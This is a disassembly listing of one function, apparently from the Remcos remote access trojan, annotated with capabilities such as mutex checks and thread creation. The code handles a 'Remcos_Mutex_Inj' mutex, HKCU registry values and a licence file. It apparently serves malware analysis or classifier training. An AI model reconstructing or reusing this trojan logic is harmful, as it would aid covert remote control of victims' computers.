Function at 0x1e8d1f
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.001e9832
sub esp, 0xc
lea eax, [ebp - 0x15]
mov ecx, esp
push eax
push dword [0x1fa154]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 0x58]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [ebp - 0x28]
push eax
call fcn.001f23ad
add esp, 0x24
mov esi, 0x1fac88
mov ecx, esi
push eax
call fcn.001ea0f4
lea ecx, [ebp - 0x28]
call fcn.001e17dd
mov edi, dword [ebp + 0x10]
mov eax, 0x1f562c
xor ebx, ebx
mov dl, byte [edi]
mov cl, dl
cmp dl, byte [eax]
jne 0x1e8da5
cmp cl, bl
je 0x1e8da1
mov dl, byte [edi + 1]
mov cl, dl
cmp dl, byte [eax + 1]
jne 0x1e8da5
inc edi
inc edi
inc eax
inc eax
cmp cl, bl
jne 0x1e8d83
xor eax, eax
jmp 0x1e8daa
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x1e8e0d
push 1
push 0x12
push str.licence_code.txt
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
push 0x34
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
pop ecx
pop ecx
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [ebp - 0xe4]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 1
pop eax
jmp 0x1e982b
push 3
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 0x1f4768
push 0xe
mov ecx, esi
setne al
mov byte [0x1faa11], al
call fcn.001e180c
push eax
lea eax, [ebp - 0x10]
push str.Software_
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
mov edi, 0x1faa30
mov ecx, edi
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push ebx
push 0x32
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
push ebx
push 0x33
mov ecx, esi
setne al
mov byte [0x1fad5c], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator___unsigned_int_]
cmp byte [eax], bl
setne al
cmp byte [0x1fad5c], bl
mov byte [0x1fad40], al
je 0x1e8efe
lea eax, [ebp + 0x10]
mov ecx, edi
push eax
push 0x1f5608
mov dword [ebp + 0x10], ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb341
add esp, 0x10
test al, al
je 0x1e8efe
push 0x1f5608
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb7d4
push dword [ebp + 0x10]
call fcn.001ea893
add esp, 0x10
push str.Remcos_Mutex_Inj
push ebx
push 0x100000
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, ebx
mov dword [ebp + 0x10], eax
je 0x1e8f2e
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x14]
mov ecx, edi
push eax
push 0x1f55f0
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb341
add esp, 0x10
test al, al
je 0x1e8f6c
push 0x1f55f0
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb7d4
add esp, 0xc
push 0xe
mov ecx, esi
call fcn.001e180c
push eax
mov ecx, 0x1facc0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, 0x1facc0
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1e8fab
push 1
pop ebx
jmp 0x1e9820
call fcn.001e9917
push 0x104
push str.C:d1503dec243f8f34.cpl
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.001f24ad
push ebx
mov byte [0x1fb090], al
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea eax, [ebp - 0x10]
push 0x80000002
push eax
call fcn.001eb39b
add esp, 0x14
mov ecx, 0x1facb0
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp byte [0x1fb090], bl
je 0x1e900b
push str.__64_bit_
jmp 0x1e9010
push str.__32_bit_
mov ecx, 0x1facb0
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov eax, dword [0x1fac78]
cmp eax, ebx
je 0x1e902b
call eax
mov dword [0x1fa15c], eax
cmp dword [ebp - 0x14], ebx
jne 0x1e909b
push 0x2e
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x1e909b
cmp dword [0x1fac78], ebx
je 0x1e909b
cmp dword [0x1fa15c], ebx
je 0x1e9077
push ebx
push 0x1f4f10
mov ecx, 0x1facb0
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::find_char_const___unsigned_int_const]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
cmp dword [ecx], eax
jne 0x1e909b
call fcn.001e3173
jmp 0x1e909b
push str.origmsc
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb2f8
add esp, 0xc
test al, al
jne 0x1e909b
call fcn.001e3067
push 0x27
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x1e90b5
call fcn.001ea09c
push 0xb
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2243
pop ecx
pop ecx
push eax
mov ecx, 0x1faa40
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 4
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 5
mov ecx, esi
setne al
mov byte [0x1faa50], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 6
mov ecx, esi
setne al
mov byte [0x1fac5d], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 7
mov ecx, esi
setne al
mov byte [0x1fac5c], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 8
mov ecx, esi
setne al
mov byte [0x1faa28], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
push 3
mov ecx, esi
setne al
mov byte [0x1faa10], al
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
je 0x1e920f
push 0x30
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
mov edi, eax
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp edi, ebx
je 0x1e920f
push 0x30
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2fdc
add esp, 0xc
mov ecx, 0x1fac60
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp dword [ebp - 0x14], ebx
jne 0x1e93d6
cmp byte [0x1faa11], bl
mov edi, 0x1faa18
je 0x1e92c3
push 0x1e
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xc
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov ecx, esi
setne al
push eax
push 0xa
call fcn.001e180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x30
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 9
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
call fcn.001e7e18
add esp, 0x14
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
jmp 0x1e92d0
push str.C:d1503dec243f8f34.cpl
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_wcscpy]
pop ecx
pop ecx
push 3
mov ecx, 0x1fac98
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, 0x1fac98
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::size_void_const]
lea eax, [eax + eax + 2]
mov ecx, 0x1faa30
push eax
push dword [ebp + 0x10]
push str.exepath
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb771
push dword [ebp + 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x24
lea eax, [ebp + 0x13]
mov ecx, esi
push 1
sub esp, 0x10
mov edi, esp
push eax
push 0x34
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.licence
mov ecx, 0x1faa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb581
add esp, 0x20
mov ecx, esi
push 0x1f4a8c
push 0xd
call fcn.001e180c
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x1e9441
push 0xd
mov ecx, esi
call fcn.001e180c
sub esp, 0x10
mov ecx, esp
push eax
push ecx
call fcn.001f2157
pop ecx
pop ecx
call fcn.001e99ea
add esp, 0x10
cmp al, 1
jne 0x1e9441
push 3
jmp 0x1e8fa5
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x2ea]
mov word [ebp - 0x2ec], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x1fac98
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea eax, [ebp - 0x2ec]
push 0x208
push eax
push str.exepath
mov ecx, 0x1faa30
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x80000001
call fcn.001eb50b
add esp, 0x1c
lea eax, [ebp - 0x2ec]
mov ecx, 0x1faa18
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_unsigned_short_int_const__]
push 0x28
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp al, 2
pop ecx
mov byte [0x1fac80], al
jne 0x1e946d
push 1
jmp 0x1e9472
cmp al, 1
jne 0x1e9484
push ebx
call fcn.001f3737
pop ecx
push ebx
push ebx
push ebx
push 0x1f3509
push ebx
push ebx
call edi
push 0xf
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov al, byte [eax]
lea ecx, [ebp - 0x48]
mov byte [0x1fa158], al
lea eax, [ebp + 0x13]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::allocator_unsigned_short_int__const__]
push 0x1f47f4
push 0x31
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2243
pop ecx
pop ecx
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
mov byte [ebp + 0x13], al
pop ecx
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
cmp byte [ebp + 0x13], bl
je 0x1e9536
push 0x11
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2fdc
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
jmp 0x1e95ea
push 0x31
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.001f2243
pop ecx
pop ecx
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
push 0x10
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.001f2fdc
add esp, 0xc
mov ecx, 0x1fa954
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x11
mov ecx, esi
call fcn.001e180c
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.001f2243
pop ecx
pop ecx
push eax
push 0x1f4994
lea eax, [ebp - 0x28]
push 0x1fa954
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0xc
push eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__
add esp, 0xc
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push 0x36
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0x3e8
cdq
mov dword [0x1fa978], eax
pop ecx
movsx eax, byte [0x1fa158]
sub eax, 0x31
mov dword [0x1fa97c], edx
je 0x1e9645
dec eax
jne 0x1e965e
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0x1fa8f0
call fcn.001e50a2
jmp 0x1e965e
sub esp, 0x10
lea eax, [ebp - 0x48]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, 0x1fa8f0
call fcn.001e4fef
push 0x14
mov ecx, esi
call fcn.001e180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x1e96a9
push 2
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], bl
call fcn.001e180c
mov ecx, eax
